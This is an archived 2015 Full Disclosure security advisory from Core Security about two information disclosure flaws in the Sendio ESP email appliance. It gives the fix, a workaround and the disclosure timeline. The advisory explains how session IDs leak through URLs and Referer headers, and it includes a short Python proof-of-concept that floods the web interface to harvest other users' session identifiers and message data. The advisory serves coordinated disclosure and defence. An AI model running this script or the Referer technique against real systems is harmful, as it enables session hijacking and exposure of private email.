[prev in list] [next in list] [prev in thread] [next in thread] 

List:       full-disclosure
Subject:    [FD] [CORE-2015-0010] - Sendio ESP Information Disclosure Vulnerability
From:       CORE Advisories Team <advisories () coresecurity ! com>
Date:       2015-05-22 16:11:59
Message-ID: 555F554F.4000306 () coresecurity ! com
[Download RAW message or body]

1. Advisory Information

Title: Sendio ESP Information Disclosure Vulnerability
Advisory ID: CORE-2015-0010
Advisory URL: http://www.coresecurity.com/advisories/sendio-esp-information-disclosure-vulnerability
 Date published: 2015-05-22
Date of last update: 2015-05-22
Vendors contacted: Sendio
Release mode: Coordinated release


2. Vulnerability Information

Class: OWASP Top Ten 2013 Category A2 - Broken Authentication and Session \
                Management [CWE-930], Information Exposure [CWE-200]
Impact: Security bypass
Remotely Exploitable: Yes
Locally Exploitable: No
CVE Name: CVE-2014-0999, CVE-2014-8391



3. Vulnerability Description

Sendio [1] ESP (E-mail Security Platform) is a network appliance which \
provides anti-spam and anti-virus solutions for enterprises. Two \
information disclosure issues were found affecting some versions of this \
software, and can lead to leakage of sensitive information such as user's \
session identifiers and/or user's email messages.


4. Vulnerable Packages

Sendio 6 (14.1120.0)
Other products and versions might be affected too, but they were not \
tested.


5. Vendor Information, Solutions and Workarounds

Sendio informs us that [CVE-2014-0999] and [CVE-2014-8391] are fixed on \
Sendio software Version 7.2.4.

For [CVE-2014-0999], the vulnerability only exists for HTTP web sessions \
and not HTTPS web sessions. Sendio recommends that customers who have not \
upgraded to Version 7.2.4 should disallow HTTP on their Sendio product and \
only use HTTPS.


6. Credits

This vulnerability was discovered and researched by Martin Gallo from Core \
Security's Consulting Services Team. The publication of this advisory was \
coordinated by Joaquín Rodríguez Varela from Core Security's Advisories \
Team.


7. Technical Description / Proof of Concept Code

7.1. Disclosure of session cookie in Web interface URLs

The Sendio [1] ESP Web interface authenticates users with a session cookie \
named "jsessionid". The vulnerability [CVE-2014-0999] is caused due the way \
the Sendio ESP Web interface handles this authentication cookie, as the \
"jsessionid" cookie value is included in URLs when obtaining the content of \
emails. The URLs used by the application follow this format:

 
      http://<ESP-web-interface-domain>:<ESP-web-interface-port>/sendio/ice/cmd/msg/body;jsessionid=<session-identifier-value>?id=<message-id>
  
This causes the application to disclose the session identifier value, \
allowing attackers to perform session hijacking. An attacker might perform \
this kind of attack by sending an email message containing links or \
embedded image HTML tags pointing to a controlled web site, and then \
accessing the victim's session cookies through the "Referrer" HTTP header. \
Accessing this authentication cookie might allow an attacker to hijack a \
victim's session and obtain access to email messages or perform actions on \
behalf of the victim.

7.2. Response mixup in Web interface

The vulnerability [CVE-2014-8391] is caused by an improper handling of \
users' sessions by the Web interface. Under certain conditions, this could \
lead to the server disclosing sensitive information that was intended for a \
different user. This information includes, for instance, other users' \
session identifiers, email message identifiers or email message subjects. \
In order to trigger this vulnerability, requests should be authenticated.

The following Python script can be used to trigger this vulnerability under \
certain circumstances:

 
import requests

domain = "target.domain.com"                     # The target domain
port = 8888                                      # The target port
jsessionid = "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"  # A valid jsessionid
num = 100000                                     # No of request to make
msgid = 9999999                                  # A valid message id to \
baseline the requests

url = "http://%s:%d/sendio/ice/cmd/msg/body;jsessionid=%s" % (domain, port, \
jsessionid)


def make_request(id):
    params = {"id": str(id)}
    headers = {"Cookie": "JSESSIONID=%s" % jsessionid}
    return requests.get(url, params=params, headers=headers)


print "[*] Reaching the target to define baseline"
r = make_request(msgid)
baseline_length = r.headers["content-length"]
print "[*] Defined baseline: %d bytes" % baseline_length

for id in range(0, num):
    r = make_request(msgid)
    rlength = int(r.headers["content-length"])
    if r.status_code == 200 and rlength != baseline_length:
        print "\t", r.status_code, rlength, r.text
    else:
        print "\t", r.status_code, rlength
 


8. Report Timeline

2015-03-26: Core Security sent an initial notification to Sendio informing \
them that multiple vulnerabilities were found in one of their products, and \
                requested their PGP keys in order to start an encrypted \
                communication.
2015-03-27: Sendio replied that they would not be able to use PGP keys, but \
stated that their In/out SMTP gateway uses TLS, so that should suffice. \
They detailed that they were working on a fix for the \
"CS_SENDIO_JSESSIONID_DISCLOSURE" vulnerability and estimated it would be \
released by the end of April, 2015. They requested additional technical \
                details for the "CS_SENDIO_INFO_LEAK" vulnerability.
2015-03-30: Core Security informed that understood that Sendio may not be \
able to use PGP keys, but Core doesn't consider the use of TLS as a \
replacement for PGP. Core Security requested to receive confirmation from \
Sendio in case they wanted to keep the communications unencrypted with PGP \
                in order to send them a draft version of the advisory.
2015-03-30: Sendio confirmed that the communication can remain "as is" \
without PGP. They will inform Core once they have a specific date for \
publishing the fix. Sendio requested a PoC for the "CS_SENDIO_INFO_LEAK \
                vulnerability".
2015-03-31: Core Security sent a draft version of the advisory and PoC to \
                Sendio.
2015-03-31: Sendio confirmed reception of the advisory and PoC and informed \
                Core that they would provide an update on their test on \
                April 6.
2015-04-06: Sendio informed Core that they were able to reproduce the \
"CS_SENDIO_INFO_LEAK" issue and that were still analyzing it in order to \
                create a fix.
2015-04-07: Core Security requested an estimated date for the release of a \
                fix/update.
2015-04-13: Core Security again requested an answer from Sendio regarding \
                the release of a fix/update.
2015-04-13: Sendio informed Core they were still working on a fix for the \
JSession issue that covers all use cases across Microsoft Outlook and the \
various supported web browsers. For the "CS_SENDIO_INFO_LEAK" they had \
coded a fix that was undergoing a System Test. Sendio estimated the release \
                would take place on May 15, 2015.
2015-04-20: Sendio informed Core they were still planning to release the \
                fixes by May 15, 2015.
2015-04-20: Core Security thanked Sendio for the update and informed them \
                they would schedule their security advisory accordingly.
2015-04-24: Core Security requested that Sendio delay the release date of \
the fixes until Monday, May 18 in order to avoid publishing them on a \
                Friday.
2015-04-27: Sendio informed Core that many of their customers have their \
Sendio systems set to "automatically update" on weekends. Sendio requested \
Core publish their advisory a week after the fix is published. Sendio also \
                requested the ability to add some workarounds into Core's \
                advisory.
2015-04-28: Core Security informed Sendio that they understood their update \
policy and let them know that it is Core's policy to publish their advisory \
the same day the fix is released in order to inform the affected users of \
its availability. Core also stated that they were willing to add any \
                workarounds Sendio proposed.
2015-05-05: Sendio informed Core that they were still having problems \
developing a fix for the JSession vulnerability, therefore they may have to \
                postpone the release date from May 15 to May 22.
2015-05-07: Core Security thanked Sendio for the update and requested to be \
                kept informed in order to have enough time to schedule \
                their advisory.
2015-05-12: Sendio confirmed that they needed to delay the publication of \
the fixes until May 21. Additionally, Sendio sent Core the proposed \
workarounds to be added in Core's advisory and requested a draft copy of \
                it.
2015-05-15: Core Security informed Sendio it would reschedule the \
publication of their advisory and would send them a draft copy of it once \
                they produced the final version.
2015-05-20: Sendio informed Core that they would publish the fixes at 10 \
                PM, May 21.
2015-05-20: Core Security informed Sendio that based on their publication \
                time they would have to delay the release of the advisory \
                until Friday 22.
2015-05-22: Advisory CORE-2015-0010 published.


9. References

[1] http://www.sendio.com/. 


10. About CoreLabs

CoreLabs, the research center of Core Security, is charged with \
anticipating the future needs and requirements for information security \
technologies. We conduct our research in several important areas of \
computer security including system vulnerabilities, cyber attack planning \
and simulation, source code auditing, and cryptography. Our results include \
problem formalization, identification of vulnerabilities, novel solutions \
and prototypes for new technologies. CoreLabs regularly publishes security \
advisories, technical papers, project information and shared software tools \
for public use at: http://corelabs.coresecurity.com.


11. About Core Security Technologies

Core Security Technologies enables organizations to get ahead of threats \
with security test and measurement solutions that continuously identify and \
demonstrate real-world exposures to their most critical assets. Our \
customers can gain real visibility into their security standing, real \
validation of their security controls, and real metrics to more effectively \
secure their organizations.

Core Security's software solutions build on over a decade of trusted \
research and leading-edge threat expertise from the company's Security \
Consulting Services, CoreLabs and Engineering groups. Core Security \
Technologies can be reached at +1 (617) 399-6980 or on the Web at: \
http://www.coresecurity.com.


12. Disclaimer

The contents of this advisory are copyright (c) 2015 Core Security and (c) \
2015 CoreLabs, and are licensed under a Creative Commons Attribution \
Non-Commercial Share-Alike 3.0 (United States) License: \
http://creativecommons.org/licenses/by-nc-sa/3.0/us/


13. PGP/GPG Keys

This advisory has been signed with the GPG key of Core Security advisories \
team, which is available for download at \
http://www.coresecurity.com/files/attachments/core_security_advisories.asc.



_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/


[prev in list] [next in list] [prev in thread] [next in thread] 

Configure | About | News | Add a list | Sponsored by KoreLogic